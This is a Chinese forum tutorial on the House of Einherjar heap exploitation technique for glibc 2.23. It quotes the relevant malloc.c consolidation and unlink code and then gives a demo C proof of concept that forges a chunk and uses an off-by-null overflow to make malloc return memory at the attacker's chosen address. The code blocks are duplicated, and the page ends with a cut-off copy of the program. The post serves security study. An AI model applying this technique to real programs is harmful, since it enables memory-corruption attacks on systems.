首页
社区
课程
招聘
[分享]House of Einherjar
发表于: 1天前 194

[分享]House of Einherjar

1天前
194

​ 文件路径(malloc/malloc.c)

​ 这段代码是向后合并的操作,p是刚刚被释放的堆块。如果它的prev_inuse位是0 的话(正常情况是上一个相邻堆块被释放),就会执行这段代码。先把前一个堆块的大小(p->prev_size)赋给prevsize,把p的大小修改为两个堆块的大小之和。通过p的地址减去上一个堆块的大小,找到合并后,p应该在的地址,并更新p。再用新的p去执行unlink。

​ unlink操作在这里没有具体的利用,我们只是最后需要绕过这样的一个检测。让它可以正常进行合并。这里第9行是针对lagebin的一个检测,而在我们这个利用手法中,基本都是lagebin,所以我们需要对这个fd_nextsize和bk_nextsize,做一个绕过的检测。因为当lagebin中只有一个堆块时,fd_nextsize和bk_nextsize,都指向p自己,所以我们把这两个设置为p的地址即可。

​ 这段就是就是把与topchunk 相邻的空闲堆块与top chunk合并。并更新top chunk的大小和地址。

​ 这里是这样,利用某些手段伪造出一个fakechunk,这个chunk位于我们想要分配的目的地址上(记为target)。 同时,我们利用可以正常分配到的一个 chunk (记为p)。通过修改p 的 prevsize和pre_inuse,让p 和target 合并为一个堆块,当然p本身是与topchunk相邻的。此时,target 和 p 都被 topchunk 合并为新的topchunk。此时topchunk 的地址,就迁移到了 target 所在的地址。那么再次分配堆地址,就可以把这个空间分配到手。

​ 1.伪造fakechunk ,需要泄露 栈地址和堆地址。总之要能泄露地址
​ 2.off-by-one 或off-by-null,要能修改pre_inuse。

​ 请在ubuntu16下编译(即使用glibc-2.23)。编译时记得关掉pie,这样便于打断点。
​ 编译时参数(只能在64位下编译)

​ 这个demo是自己写的,在how2heap的基础上添加了一些基础的描述。希望可以更清楚的表达出,漏洞利的一个思路。同时,关于合并后的size大小,这里描述也做了修改。因为合并是b和fakechunk以及topchunk,所以最后的大小理论上也是三个堆块的大小相加。
image-20250622133210334
​ 事实上,也确实如此

image-20250622140529903
image-20250622140615994

image-20250622140854930

image-20250622

image-20250622141342243

image-20250622141504102

image-20250622141624553

image-20250622143101805
这里因为pwndbg的原因,所以使用heap命令查看到的信息会和实际有出入

if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                    \
    BK = P->bk;                                    \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                    \
        FD->bk = BK;                               \
        BK->fd = FD;                               \
        if (!in_smallbin_range (P->size)                   \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {             \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                        \
            if (FD->fd_nextsize == NULL) {                     \
                if (P->fd_nextsize == P)                   \
                  FD->fd_nextsize = FD->bk_nextsize = FD;           \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;               \
                    FD->bk_nextsize = P->bk_nextsize;               \
                    P->fd_nextsize->bk_nextsize = FD;               \
                    P->bk_nextsize->fd_nextsize = FD;               \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;            \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;            \
              }                                   \
          }                                   \
      }                                       \
}
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                    \
    BK = P->bk;                                    \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                    \
        FD->bk = BK;                               \
        BK->fd = FD;                               \
        if (!in_smallbin_range (P->size)                   \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {             \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                        \
            if (FD->fd_nextsize == NULL) {                     \
                if (P->fd_nextsize == P)                   \
                  FD->fd_nextsize = FD->bk_nextsize = FD;           \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;               \
                    FD->bk_nextsize = P->bk_nextsize;               \
                    P->fd_nextsize->bk_nextsize = FD;               \
                    P->bk_nextsize->fd_nextsize = FD;               \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;            \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;            \
              }                                   \
          }                                   \
      }                                       \
}
else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }
else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
 
int main()
{
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
 
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
 
    a=(uint8_t*)malloc(0x38);/*假设,我们要利用a去溢出到下一个堆块。*/
    size_t* a_addr=(size_t *)(a-sizeof(size_t)*2);
    size_t  a_size=malloc_usable_size(a);
    printf("\033[1;33m这里,我们申清一个堆块a,假设存在溢出漏洞。需要通过a去溢出:\033[0m\n");
    printf("a的地址(包含chunk头):%p\n",a_addr);
    printf("a的大小(不含chunk头):%lx\n\n",a_size);
         
    size_t fakechunk[6];/*这里,我们通过某种方法伪造了fakechunk。*/
    fakechunk[0]=0x100,fakechunk[1]=0x100;
    fakechunk[2]=(size_t)fakechunk;
    fakechunk[3]=(size_t)fakechunk;
    fakechunk[4]=(size_t)fakechunk;
    fakechunk[5]=(size_t)fakechunk;
    printf("\033[1;33m假设,我们通过某种方法,构造了如下的一个fakechunk:\033[0m\n");
    printf("fakechunk的地址(包含chunk头):%p\n",fakechunk);
    printf("fd: %#lx\n",fakechunk[2]);
    printf("bk: %#lx\n",fakechunk[3]);
    printf("fd_nextsize: %#lx\n",fakechunk[4]);
    printf("bk_nextsize: %#lx\n\n",fakechunk[5]);
     
    b=(uint8_t*)malloc(0xf8);/*这就是要触发,向后合并和topchunk合并的堆块.*/
    size_t* b_size_ptr=(size_t*)(b-sizeof(size_t));/*指向 chunk b 的size位.*/
    size_t* b_addr=(size_t *)(b-sizeof(size_t)*2);/*同时也是 chunk b 的prev_size*/
    printf("\033[1;33m这里创建一个堆块b,作为合并的关键堆块:\033[0m\n");
    printf("b的地址(含chunk头): %p\n",b_addr);
    printf("b的size位:%#lx\n\b",*b_size_ptr);
    printf("b的prev_size: %#lx\n\n",*b_addr);
    /*
    接下来就是修改size和prev_size
    这里本来是想直接利用b相关的指针去修改b的size 和 prev_size,但是
    这样做体现不出通过a的溢出漏洞来修改,所以还是使用a相关的指针去修改。
    */
    printf("\033[1;33m那么,对于现在创建的堆块b,我们可以通过溢出去修改它的一些数据:\033[0m\n");
    a[a_size]=0;
    printf("修改后b的size位:%#lx\n",*b_size_ptr);
     
    /*
    接下来是计算,计算fakechunk的大小。fakechunk的大小当然不是0x100,
    它应该是从fakechunk到b中间这么大的一块区域
    */
    size_t fakesize=(size_t)((uint8_t *)(b_addr)-(uint8_t *)fakechunk);
    printf("b的prev_size应该用 b 的地址减 fakechunk 的地址: %p-%p=%#lx\n",b_addr,fakechunk,fakesize);
    *(size_t *)&a[a_size-sizeof(size_t)]=fakesize;
    printf("修改后b的prev_size: %#lx\n\n",*b_addr);
    /*为了正确的合并,fakechunk的size需要和prev_size对应上*/
    fakechunk[1]=fakesize;
    /*触发合并*/
    free(b);
    printf("合并后fakechunk的size: %#lx\n",fakechunk[1]);
    printf("是b.size+b.prev_szie+b.next_szie(也就是topchunk的大小)得来的\n");
    /*最后看分配到了哪里*/
    c=(uint8_t*)malloc(0x200);
    size_t* c_addr=(size_t *)(c-sizeof(size_t)*2);
    printf("\033[1;33m最后申清一个堆块c,并查看一下是否达到了我们的目的:\033[0m\n");
    printf("c的地址(包含chunk头):%p\n",c_addr);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
 
int main()
{

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回